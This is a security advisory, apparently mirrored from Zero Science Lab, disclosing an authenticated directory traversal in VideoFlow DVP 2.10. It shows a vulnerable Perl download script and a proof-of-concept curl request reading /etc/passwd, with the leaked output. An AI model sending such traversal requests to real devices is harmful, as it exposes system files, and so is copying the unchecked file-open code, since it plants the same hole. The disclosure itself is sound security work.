VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal

🗓️ 31 Mar 2018 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 547 Views

VideoFlow DVP 10 Authenticated Directory Traversa

Reporter	Title	Published	Views	Family All 6
CNNVD	VideoFlow Digital Video Protection 安全漏洞	24 Dec 202500:00	–	cnnvd
CVE	CVE-2019-25256	24 Dec 202519:28	–	cve
Cvelist	CVE-2019-25256 VideoFlow Digital Video Protection DVP 2.10 Authenticated Directory Traversal	24 Dec 202519:28	–	cvelist
EUVD	EUVD-2025-205307	24 Dec 202521:30	–	euvd
NVD	CVE-2019-25256	24 Dec 202520:15	–	nvd
Positive Technologies	PT-2025-53342	24 Dec 202500:00	–	ptsecurity

<html><body><p>VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal

Vendor: VideoFlow Ltd.
Product web page: http://www.video-flow.com
Affected version: 2.10 (X-Prototype-Version: 1.6.0.2)

System = Indicate if the DVP is configured as Protector, Sentinel or Fortress
Version = The Operating System SW version number
Image version = Production Image version

                  System: DVP Protector
                  Version: 1.40.0.15(R) May 5 2015 05:27:05
                  Image version: 3.07i

                  System: DVP Protector
                  Version: 1.40.0.15(R) May 5 2015 05:27:05
                  Image version: 2.08

                  System: DVP Fortress
                  Version: 2.10.0.5(R) Jan 7 2018 03:26:35
                  Image version: 3.07


Summary: VideoFlow's Digital Video Protection (DVP) product is used by
leading companies worldwide to boost the reliability of IP networks, including
the public Internet, for professional live broadcast. DVP enables broadcast
companies to confidently contribute and distribute live video over IP with
unprecedented levels of service continuity, at a fraction of the cost of
leased lines or satellite links. It accelerates ROI by reducing operational
costs and enabling new revenue streams across a wide variety of markets.

Desc: The application suffers from an authenticated arbitrary file disclosure
vulnerability including no session expiration. Input passed via the 'ID' parameter
in several Perl scripts is not properly verified before being used to download
system files. This can be exploited to disclose the contents of arbitrary
files via directory traversal attacks.

Scripts affected:

$ grep -rnH "Content-Disposition" .
./download.pl:30:    print "Content-Disposition:attachment;filename=$ID\n\n";
./download_xml.pl:23:    print "Content-Disposition:attachment;filename=$ID\n\n";
./downloadmib.pl:22:    print "Content-Disposition:attachment;filename=$ID\n\n";
./downloadFile.pl:30:    print "Content-Disposition:attachment;filename=$OUTNAME\n\n";
./downloadsys.pl:22:    print "Content-Disposition:attachment;filename=$ID\n\n";

----------------------------------------------------------------------------
/dvp100/confd/docroot/cgi-bin/downloadsys.pl:
---------------------------------------------

     1    #!/usr/bin/perl -wT
     2    # http://www.sitepoint.com/file-download-script-perl/
     3    
     4    use strict;
     5    use CGI;
     6    use CGI::Carp qw ( fatalsToBrowser );
     7    my $files_location;
     8    my $query = CGI-&gt;new;
     9    my $ID = $query-&gt;param('ID');
    10    my @fileholder;
    11    
    12    $files_location = "/dvp100/confd/docroot/cgi-bin/";
    13    #$ID = "syslog.tar.gz"; #param('ID');
    14    
    15    if ($ID eq '') {
    16        
    17    } else {
    18        open(DLFILE, "&lt;$files_location/$ID") || Error('open', 'file');
    19        @fileholder = <dlfile>;
    20        close (DLFILE) || Error ('close', 'file');
    21        print "Content-Type:application/x-download\n";
    22        print "Content-Disposition:attachment;filename=$ID\n\n";
    23        print @fileholder;
    24    }

----------------------------------------------------------------------------

Tested on: CentOS release 5.6 (Final) (2.6.18-238.12.1.el5)
           CentOS release 5.10 (Final) (2.6.18-371.el5)
           ConfD


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5454
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5454.php

01.02.2018

---


curl 'http://17.17.17.17/cgi-bin/downloadsys.pl?ID=../../../../etc/passwd' -H Cookie:sessionid=sess3638473331458218
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
...
...
</dlfile></p></body></html>

31 Mar 2018 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 3.16.5

CVSS 47.1

EPSS0.00543